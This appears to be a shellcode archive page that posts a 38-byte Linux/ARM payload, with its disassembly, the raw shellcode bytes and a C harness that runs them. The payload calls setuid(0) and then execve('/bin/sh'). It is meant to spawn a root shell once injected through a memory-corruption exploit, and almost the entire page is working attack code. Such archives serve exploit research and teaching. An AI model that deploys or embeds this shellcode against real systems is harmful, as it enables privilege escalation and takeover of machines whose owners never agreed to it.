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setuid(0) And execve("/bin/sh","/bin/sh",0) Shellcode

setuid(0) And execve("/bin/sh","/bin/sh",0) Shellcode
Posted Jun 30, 2010
Authored by Jonathan Salwan

38 bytes small setuid(0) and execve("/bin/sh","/bin/sh",0) Linux / ARM shellcode.

tags | shellcode
systems | linux
SHA-256 | 7518787117780d501fe3384e13c5100c61a274b83ba5712d5a476c7c0f2a03f0

setuid(0) And execve("/bin/sh","/bin/sh",0) Shellcode

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/*
Title: Linux/ARM - setuid(0) & execve("/bin/sh","/bin/sh",0) - 38 bytes
Date: 2010-06-29
Tested: ARM926EJ-S rev 5 (v5l)

Author: Jonathan Salwan
Web: http://shell-storm.org | http://twitter.com/shell_storm

! Dtabase of shellcodes http://www.shell-storm.org/shellcode/


8054: e28f3001 add r3, pc, #1 ; 0x1
8058: e12fff13 bx r3
805c: 1b24 subs r4, r4, r4
805e: 1c20 adds r0, r4, #0
8060: 2717 movs r7, #23
8062: df01 svc 1
8064: 4678 mov r0, pc
8066: 300a adds r0, #10
8068: 9001 str r0, [sp, #4]
806a: a901 add r1, sp, #4
806c: 1a92 subs r2, r2, r2
806e: 270b movs r7, #11
8070: df01 svc 1
8072: 2f2f cmp r7, #47
8074: 6962 ldr r2, [r4, #20]
8076: 2f6e cmp r7, #110
8078: 6873 ldr r3, [r6, #4]
*/

#include <stdio.h>

char *SC = "\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x24\x1b\x20\x1c"
"\x17\x27\x01\xdf"
"\x78\x46\x0a\x30"
"\x01\x90\x01\xa9"
"\x92\x1a\x0b\x27"
"\x01\xdf\x2f\x2f"
"\x62\x69\x6e\x2f"
"\x73\x68";


int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}
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